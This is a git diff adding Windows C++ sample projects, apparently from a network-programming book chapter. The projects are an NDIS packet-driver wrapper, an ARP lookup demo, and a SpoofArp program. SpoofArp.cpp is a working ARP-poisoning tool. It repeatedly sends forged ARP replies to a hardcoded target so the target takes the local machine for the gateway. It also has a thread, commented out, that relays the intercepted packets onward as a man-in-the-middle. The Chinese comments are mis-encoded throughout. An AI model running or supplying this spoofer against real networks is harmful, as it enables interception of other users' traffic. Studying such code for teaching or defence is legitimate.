CAdapter::SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped) +{ + DWORD dwWrite; + if(::WriteFile(m_hAdapter, pBuffer, nLen, &dwWrite, lpOverlapped)) + return dwWrite; + else + return -1; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.h" new file mode 100644 index 0000000..9ebd102 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/protoutils.h" @@ -0,0 +1,66 @@ +//////////////////////////////////////////// +// protoutils.hÎļþ + + + + +#ifndef __PROTOUTILS_H__ +#define __PROTOUTILS_H__ + +#include "nuiouser.h" + +////////////////////////////////////// +// º¯Êý¶¨Òå + +BOOL ProtoStartService(); +void ProtoStopService(); +HANDLE ProtoOpenControlDevice(); + + +////////////////////////////////////// +// CPROTOAdaptersÀ࣬ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ + +#define MAX_ADAPTERS 10 + +class CPROTOAdapters +{ +public: + BOOL EnumAdapters(HANDLE hControlDevice); + + int m_nAdapters; + LPWSTR m_pwszAdapterName[MAX_ADAPTERS]; + LPWSTR m_pwszSymbolicLink[MAX_ADAPTERS]; +protected: + char m_buffer[MAX_ADAPTERS*256]; +}; + +//////////////////////////////////////// +// CAdapterÀ࣬¹ÜÀí°ó¶¨µÄÊÊÅäÆ÷ + +class CAdapter +{ +public: + CAdapter(); + ~CAdapter(); + + // ´ò¿ª¡¢¹Ø±ÕÊÊÅäÆ÷ + BOOL OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn = FALSE); + void CloseAdapter(); + + // ÉèÖùýÂËÊôÐÔ£¬ÈçNDIS_PACKET_TYPE_PROMISCUOUS¡¢NDIS_PACKET_TYPE_DIRECTEDµÈ + BOOL SetFilter(ULONG nFilters); + + // ½ÓÊÕ¡¢·¢ËÍÊý¾Ý + int RecieveData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + int SendData(PVOID pBuffer, int nLen, LPOVERLAPPED lpOverlapped = NULL); + + // ÖØÆôϲãNIC¡¢¹ÜÀíOIDÐÅÏ¢ + BOOL ResetAdapter(); + BOOL ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery); + +protected: + HANDLE m_hAdapter; +}; + + +#endif // __PROTOUTILS_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/resource.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/resource.h" new file mode 100644 index 0000000..be02bee --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/ScannerDemo/resource.h" @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by EnumeHosts.rc + +// жÔÏóµÄÏÂһЩĬÈÏÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.cpp" new file mode 100644 index 0000000..f16be64 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.cpp" @@ -0,0 +1,39 @@ +////////////////////////////////////////////////////// +// SendARP.cppÎļþ + +#include +#include + +#include +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +void main() +{ + char szDestIP[] = "192.168.0.23"; + + // ·¢ËÍARPÇëÇó + u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + ULONG ulLen = 6; + if(::SendARP(::inet_addr(szDestIP), 0, (ULONG*)arDestMac, &ulLen) == NO_ERROR) + { + // ´òÓ¡³ö½á¹û + u_char *p = arDestMac; + printf(" pEtherh->shost: %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + } + + getchar (); + return; +} + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.sln" "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.sln" new file mode 100644 index 0000000..f1f7a18 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SendARP", "SendARP.vcproj", "{0B78BF7B-A41B-4A93-9AB6-47E07C7CEDBE}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0B78BF7B-A41B-4A93-9AB6-47E07C7CEDBE}.Debug|Win32.ActiveCfg = Debug|Win32 + {0B78BF7B-A41B-4A93-9AB6-47E07C7CEDBE}.Debug|Win32.Build.0 = Debug|Win32 + {0B78BF7B-A41B-4A93-9AB6-47E07C7CEDBE}.Release|Win32.ActiveCfg = Release|Win32 + {0B78BF7B-A41B-4A93-9AB6-47E07C7CEDBE}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.suo" new file mode 100644 index 0000000..4db52e2 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.vcproj" new file mode 100644 index 0000000..36ef434 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/SendARP.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SendARP/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.cpp" new file mode 100644 index 0000000..ad58b43 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.cpp" @@ -0,0 +1,116 @@ +//////////////////////////////////////////// +// ProtoPacket.cppÎļþ + +#include +#include +#include +#include "protoutils.h" +#include "ProtoPacket.h" + +CArpPacket::CArpPacket(CAdapter *pAdapter):m_pAdapter(pAdapter) +{ + // ÉèÖùýÂËÀàÐÍ + m_pAdapter->SetFilter( // NDIS_PACKET_TYPE_PROMISCUOUS| + NDIS_PACKET_TYPE_DIRECTED | NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_BROADCAST); + // ³õʼ»¯ÓÃÓÚÒì²½·¢ËͺͽÓÊÕÊý¾ÝµÄÖصþ½á¹¹ + memset(&m_olRead, 0, sizeof(m_olRead)); + m_olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + memset(&m_olWrite, 0, sizeof(m_olWrite)); + m_olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); +} + +CArpPacket::~CArpPacket() +{ + ::CloseHandle(m_olRead.hEvent); + ::CloseHandle(m_olWrite.hEvent); +} + +BOOL CArpPacket::SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr) +{ + // ·¢ËÍÕ껺³åÇø + u_char ucFrame[ARPFRAME_SIZE]; + + // ÉèÖÃEthernetÍ· + + ETHeader eh = { 0 }; + memcpy(eh.dhost, pdEtherAddr, 6); + memcpy(eh.shost, psEtherAddr, 6); + eh.type = ::htons(ETHERTYPE_ARP); + memcpy(ucFrame, &eh, sizeof(eh)); + + // ÉèÖÃArpÍ· + ARPHeader ah = { 0 }; + + ah.hrd = htons(ARPHRD_ETHER); + ah.eth_type = htons(ETHERTYPE_IP); + ah.maclen = 6; + ah.iplen = 4; + ah.opcode = htons(nOpcode); + + memcpy(ah.smac, psMac, 6); + memcpy(ah.saddr, &sIPAddr, 4); + memcpy(ah.dmac, pdMac, 6); + memcpy(ah.daddr, &dIPAddr, 4); + + + memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah)); + + // ·¢ËÍ + if(m_pAdapter->SendData(ucFrame, sizeof(ETHeader)+ sizeof(ARPHeader), &m_olWrite) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olWrite.hEvent, 1000*60); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + return FALSE; + } + } + return TRUE; +} + +PARPHeader CArpPacket::WaitReply(DWORD dwMillionSec) +{ + PETHeader pEtherh = (PETHeader)m_ucFrame; + PARPHeader pArph = NULL; + int nRecvLen = sizeof(ETHeader)+ sizeof(ARPHeader); + + // µÈ´ý½ÓÊÕARPÏìÓ¦ + DWORD dwTick = ::GetTickCount(); + DWORD dwOldTick = dwTick; + while(TRUE) + { + if(m_pAdapter->RecieveData(m_ucFrame, nRecvLen, &m_olRead) == -1) + { + if(::GetLastError() == ERROR_IO_PENDING) + { + int nRet = ::WaitForSingleObject(m_olRead.hEvent, dwMillionSec); + if(nRet == WAIT_FAILED || nRet == WAIT_TIMEOUT) + break; + } + else + { + break; + } + } + if(pEtherh->type == ::htons(ETHERTYPE_ARP)) + { + PARPHeader pTmpHdr = (PARPHeader)(pEtherh + 1); + if(pTmpHdr->opcode == ::htons(ARPOP_REPLY)) + { + // ½ÓÊÕµ½ARPÏìÓ¦£¬·µ»Ø + pArph = pTmpHdr; + break; + } + } + + dwOldTick = dwTick; + dwTick = ::GetTickCount(); + if(dwTick - dwOldTick >= dwMillionSec) // ³¬Ê±£¬·µ»Ø + break; + else + dwMillionSec = dwMillionSec - (dwTick - dwOldTick); + } + + return pArph; +} diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.h" new file mode 100644 index 0000000..2d588a4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/ProtoPacket.h" @@ -0,0 +1,28 @@ +//////////////////////////////////////////////// +// ProtoPacket.hÎļþ + +#ifndef __PROTOPACKET_H__ +#define __PROTOPACKET_H__ + +#include "../common/protoinfo.h" + +#define ARPFRAME_SIZE 100 +class CArpPacket +{ +public: + CArpPacket(CAdapter *pAdapter); + ~CArpPacket(); + // ·¢ËÍARP·â°ü + BOOL SendPacket(u_char *pdEtherAddr, u_char *psEtherAddr, + int nOpcode, u_char *pdMac, DWORD dIPAddr, u_char *psMac, DWORD sIPAddr); + // µÈ´ýARPÏìÓ¦ + PARPHeader WaitReply(DWORD dwMillionSec = 1000*2); + +protected: + CAdapter *m_pAdapter; + u_char m_ucFrame[ARPFRAME_SIZE]; + OVERLAPPED m_olRead; + OVERLAPPED m_olWrite; +}; + +#endif // __PROTOPACKET_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.cpp" new file mode 100644 index 0000000..f329589 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.cpp" @@ -0,0 +1,230 @@ +//////////////////////////////////////////////// +// SpoofArp.cppÎļþ + +#include "../common/initsock.h" +#include +#include +#include +#include + + +#include "protoutils.h" +#include "ProtoPacket.h" + + +#pragma comment(lib, "Iphlpapi.lib") + + +DWORD WINAPI ForwardThread(LPVOID lpParam); +BOOL GetGlobalData(); +void SpoofTarget(CArpPacket *pArp, DWORD dwDestIP); +void UnspoofTarget(CArpPacket *pArp, DWORD dwDestIP); + +///////////////////////////////////////// +// È«¾ÖÊý¾Ý +u_char g_ucLocalMac[6]; // ±¾µØMACµØÖ· +DWORD g_dwGatewayIP; // Íø¹ØIPµØÖ· +DWORD g_dwLocalIP; // ±¾µØIPµØÖ· +DWORD g_dwMask; // ×ÓÍøÑÚÂë + +u_char g_ucGatewayMac[6]; // Íø¹ØMACµØÖ· + + +CInitSock theSock; + + + +int main() +{ + // »ñÈ¡È«¾ÖÊý¾Ý + GetGlobalData(); + // Æô¶¯·þÎñ + if(!ProtoStartService()) + { + printf(" ProtoStartService() failed %d \n", ::GetLastError()); + return -1; + } + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó + HANDLE hControlDevice = ProtoOpenControlDevice(); + if(hControlDevice == INVALID_HANDLE_VALUE) + { + printf(" ProtoOpenControlDevice() failed() %d \n", ::GetLastError()); + ProtoStopService(); + return -1; + } + // ö¾Ù°ó¶¨µÄϲãÊÊÅäÆ÷ + CPROTOAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + { + printf(" Enume adapter failed \n"); + ProtoStopService(); + return -1; + } + + + // µÃµ½Íø¹ØµÄMACµØÖ· + memset(g_ucGatewayMac, 0xff, 6); + ULONG ulLen = 6; + if(!::SendARP(g_dwGatewayIP, 0, (ULONG*)g_ucGatewayMac, &ulLen) == NO_ERROR) + { + printf(" È¡µÃÍø¹ØµÄMACµØÖ·³ö´í \n"); + return -1; + } + + CAdapter adapter; + // ĬÈÏʹÓõÚÒ»¸öÊÊÅäÆ÷ + if(!adapter.OpenAdapter(adapters.m_pwszSymbolicLink[0], TRUE)) + { + printf(" OpenAdapter failed \n"); + ProtoStopService(); + return -1; + } + + CArpPacket arp(&adapter); + CArpPacket *pArp = &arp; + + ///////////////////////////////////////////////////////////////////// + // ÒªÆÛÆ­µÄÄ¿±êµØÖ· + char szDestIP[] = "10.16.115.89"; + + // ´´½¨×ª·¢·â°üµÄÏß³Ì + // ... // ::CloseHandle(::CreateThread(NULL, 0, ForwardThread, &adapter, 0, NULL)); + + while(TRUE) + { + SpoofTarget(pArp, ::inet_addr(szDestIP)); + ::Sleep(1000); + } + + return 0; +} + +void SpoofTarget(CArpPacket *pArp, DWORD dwDestIP) +{ + // µÃµ½Ä¿±êMACµØÖ· + u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + ULONG ulLen = 6; + if(::SendARP(dwDestIP, 0, (ULONG*)arDestMac, &ulLen) != NO_ERROR) + { + printf(" È¡µÃÄ¿±êMACµØÖ·³ö´í \n"); + return; + } + + // ÈÃÄ¿±ê»úÆ÷ÔÚARP±íÖмÇÏ¡°g_ucLocalMac, g_dwGatewayIP¡±¶Ô + pArp->SendPacket(arDestMac, g_ucLocalMac, + ARPOP_REPLY, arDestMac, dwDestIP, g_ucLocalMac, g_dwGatewayIP); +} + +void UnspoofTarget(CArpPacket *pArp, DWORD dwDestIP) +{ + // µÃµ½Ä¿±êMACµØÖ· + u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + ULONG ulLen = 6; + if(::SendARP(dwDestIP, 0, (ULONG*)arDestMac, &ulLen) != NO_ERROR) + { + printf(" È¡µÃÄ¿±êMACµØÖ·³ö´í \n"); + return; + } + + // ÈÃÄ¿±ê»úÆ÷ÔÚARP±íÖмÇÏ¡°g_ucGatewayMac, g_dwGatewayIP¡±¶Ô + pArp->SendPacket(arDestMac, g_ucLocalMac, + ARPOP_REPLY, arDestMac, dwDestIP, g_ucGatewayMac, g_dwGatewayIP); +} + + +BOOL GetGlobalData() +{ + PIP_ADAPTER_INFO pAdapterInfo = NULL; + ULONG ulLen = 0; + + // ΪÊÊÅäÆ÷½á¹¹ÉêÇëÄÚ´æ + ::GetAdaptersInfo(pAdapterInfo,&ulLen); + pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen); + + // È¡µÃ±¾µØÊÊÅäÆ÷½á¹¹ÐÅÏ¢ + if(::GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) + { + if(pAdapterInfo != NULL) + { + memcpy(g_ucLocalMac, pAdapterInfo->Address, 6); + g_dwGatewayIP = ::inet_addr(pAdapterInfo->GatewayList.IpAddress.String); + g_dwLocalIP = ::inet_addr(pAdapterInfo->IpAddressList.IpAddress.String); + g_dwMask = ::inet_addr(pAdapterInfo->IpAddressList.IpMask.String); + } + } + ::GlobalFree(pAdapterInfo); + + printf(" \n -------------------- ±¾µØÖ÷»úÐÅÏ¢ -----------------------\n\n"); + in_addr in; + in.S_un.S_addr = g_dwLocalIP; + printf(" IP Address : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwMask; + printf(" Subnet Mask : %s \n", ::inet_ntoa(in)); + + in.S_un.S_addr = g_dwGatewayIP; + printf(" Default Gateway : %s \n", ::inet_ntoa(in)); + + u_char *p = g_ucLocalMac; + printf(" MAC Address : %02X-%02X-%02X-%02X-%02X-%02X \n", p[0], p[1], p[2], p[3], p[4], p[5]); + + printf(" \n \n "); + + return TRUE; +} + + +DWORD WINAPI ForwardThread(LPVOID lpParam) +{ + // ÏÂÃæµÄCMyAdapterÀàÊÇΪÁË·ÃÎÊCAdapterÀàµÄ±£»¤³ÉÔ±m_hAdapter + class CMyAdapter : public CAdapter + { + public: + HANDLE GetFileHandle() { return m_hAdapter; } + }; + + CMyAdapter *pAdapter = (CMyAdapter *)lpParam; + + printf(" ¿ªÊ¼×ª·¢Êý¾Ý... \n"); + // ÌáÉýÏß³ÌÓÅÏȼ¶£¬ÎªµÄÊǾ¡Á¿²»¶ªÊ§Êý¾ÝÖ¡ + ::SetThreadPriority(::GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL); + +#define MAX_IP_SIZE 65535 + + char frame[MAX_IP_SIZE]; + OVERLAPPED olRead = { 0 }; + OVERLAPPED olWrite = { 0 }; + olRead.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + olWrite.hEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL); + int nRecvLen; + ETHeader *pEthdr = (ETHeader *)frame; + // ¿ªÊ¼×ª·¢Êý¾Ý + while(TRUE) + { + nRecvLen = pAdapter->RecieveData(frame, MAX_IP_SIZE, &olRead); + if(nRecvLen == -1 && ::GetLastError() == ERROR_IO_PENDING) + { + if(!::GetOverlappedResult(pAdapter->GetFileHandle(), &olRead, (PDWORD)&nRecvLen, TRUE)) + break; + } + if(nRecvLen > 0) + { + // Ð޸ķâ°üµÄÄ¿µÄMACµØÖ·Ö®ºó£¬ÔÙ½«·â°ü·¢Ë͵½LAN + if(pEthdr->type == htons(ETHERTYPE_IP)) + { + IPHeader *pIphdr = (IPHeader *)(frame + sizeof(ETHeader)); + if(pIphdr->ipDestination == g_dwGatewayIP) + { + memcpy(pEthdr->dhost, g_ucGatewayMac, 6); + pAdapter->SendData(frame, nRecvLen, &olWrite); + printf(" ת·¢Ò»¸ö·â°ü¡¾Ô´IP£º%s¡¿\n", + ::inet_ntoa(*((in_addr*)&pIphdr->ipSource))); + } + } + } + } + printf(" ת·¢Ïß³ÌÍ˳ö \n"); + return 0; +} + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.sln" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.sln" new file mode 100644 index 0000000..2aedfca --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpoofArp", "SpoofArp.vcproj", "{C3D86C57-D995-42DB-8321-1E9404E7AA8F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C3D86C57-D995-42DB-8321-1E9404E7AA8F}.Debug|Win32.ActiveCfg = Debug|Win32 + {C3D86C57-D995-42DB-8321-1E9404E7AA8F}.Debug|Win32.Build.0 = Debug|Win32 + {C3D86C57-D995-42DB-8321-1E9404E7AA8F}.Release|Win32.ActiveCfg = Release|Win32 + {C3D86C57-D995-42DB-8321-1E9404E7AA8F}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.suo" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.suo" new file mode 100644 index 0000000..0e88905 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.suo" differ diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.vcproj" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.vcproj" new file mode 100644 index 0000000..18a2d65 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/SpoofArp.vcproj" @@ -0,0 +1,297 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/_desktop.ini" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/nuiouser.h" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/nuiouser.h" new file mode 100644 index 0000000..90fb62a --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/nuiouser.h" @@ -0,0 +1,36 @@ +// nuiouser.hÎļþ +// ·ÃÎÊProtoDrvÇý¶¯ÐèÒªµÄ³£Á¿ºÍÀàÐÍ£¬Óû§³ÌÐò±ØÐë°üº¬ + + +//#include "ntddndis.h" + + +#ifndef __NUIOUSER__H +#define __NUIOUSER__H + +//#include + + + +#define MAX_LINK_NAME_LENGTH 124 + +typedef struct _PROTOCOL_OID_DATA // ÉèÖúͻñÈ¡ÊÊÅäÆ÷OIDÐÅÏ¢ËùÐèµÄ½á¹¹ +{ + + ULONG Oid; + ULONG Length; + UCHAR Data[1]; + +} PROTOCOL_OID_DATA, *PPROTOCOL_OID_DATA; + + +#define FILE_DEVICE_PROTOCOL 0x8000 + +// 4¸öIOCTLµÄ¹¦ÄÜ·Ö±ðÊÇ£ºÉèÖÃÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬»ñÈ¡ÊÊÅäÆ÷µÄOIDÐÅÏ¢£¬ÖØÖÃÊÊÅäÆ÷£¬Ã¶¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PROTOCOL_SET_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 0 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_QUERY_OID CTL_CODE(FILE_DEVICE_PROTOCOL, 1 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_PROTOCOL_RESET CTL_CODE(FILE_DEVICE_PROTOCOL, 2 , METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_ENUM_ADAPTERS CTL_CODE(FILE_DEVICE_PROTOCOL, 3 , METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#endif // __NUIOUSER__H \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.cpp" "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.cpp" new file mode 100644 index 0000000..0e55f5b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2549\347\253\240/SpoofArp/protoutils.cpp" @@ -0,0 +1,217 @@ +//////////////////////////////////// +// protoutils.cppÎļþ + + +#include +#include +#include +#include +#include +#include "protoutils.h" + + +///////////////////////////////////////////////////////////////// +// ¿ØÖƺ¯Êý + +BOOL ProtoStartService() +{ + BOOL bRet = FALSE; + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + if(!::StartService(hService, 0, NULL)) + { + int nError = ::GetLastError(); + if(nError == ERROR_SERVICE_ALREADY_RUNNING) + { + bRet = TRUE; + } + } + else + { + bRet = TRUE; + } + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); + + if(bRet) + ::Sleep(50); + return bRet; +} + +void ProtoStopService() +{ + SC_HANDLE hSCM = NULL, hService = NULL; + char szLinkName[] = "slNdisProt"; + + // ´ò¿ªSCM¹ÜÀíÆ÷ + hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if(hSCM != NULL) + { + hService = ::OpenService(hSCM, szLinkName, SERVICE_ALL_ACCESS); + if(hService != NULL) + { + // µÈ´ý·þÎñÍêÈ«Í£Ö¹ÔËÐÐ + SERVICE_STATUS ss; + ::ControlService(hService, SERVICE_CONTROL_STOP, &ss); + } + } + + if(hService != NULL) + ::CloseServiceHandle(hService); + if(hSCM != NULL) + ::CloseServiceHandle(hSCM); +} + +HANDLE ProtoOpenControlDevice() +{ + // ´ò¿ªÇý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\slNdisProt"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +BOOL CPROTOAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_ENUM_ADAPTERS, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszAdapterName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszSymbolicLink[i] = pwsz + 12; // pwsz Ö¸Ïò"\DosDevices\Packet_{}", ¼Ó12ÊÇΪÁËÈ¥µô"\DosDevices\" + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszAdapterName[i] = pwsz; + } + + return TRUE; +} + +////////////////////////////////////////////////////////// + +CAdapter::CAdapter() +{ + m_hAdapter = INVALID_HANDLE_VALUE; +} + +CAdapter::~CAdapter() +{ + CloseAdapter(); +} + +BOOL CAdapter::OpenAdapter(LPCWSTR pwszSymbolicLink, BOOL bAsyn) +{ + char szFile[1024]; + wsprintf(szFile, _T("\\\\.\\%ws"), pwszSymbolicLink); + + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + m_hAdapter = ::CreateFile(szFile, + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + bAsyn ? FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED : FILE_ATTRIBUTE_NORMAL, + NULL); + int n = ::GetLastError(); + return m_hAdapter != INVALID_HANDLE_VALUE; +} + +void CAdapter::CloseAdapter() +{ + if(m_hAdapter != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hAdapter); + m_hAdapter = INVALID_HANDLE_VALUE; + } +} + +BOOL CAdapter::ProtoRequest(PPROTOCOL_OID_DATA pOidData, BOOL bQuery) +{ + if(m_hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + DWORD dw; + BOOL bRet = ::DeviceIoControl( + m_hAdapter, bQuery ? IOCTL_PROTOCOL_QUERY_OID : IOCTL_PROTOCOL_SET_OID, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PROTOCOL_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + 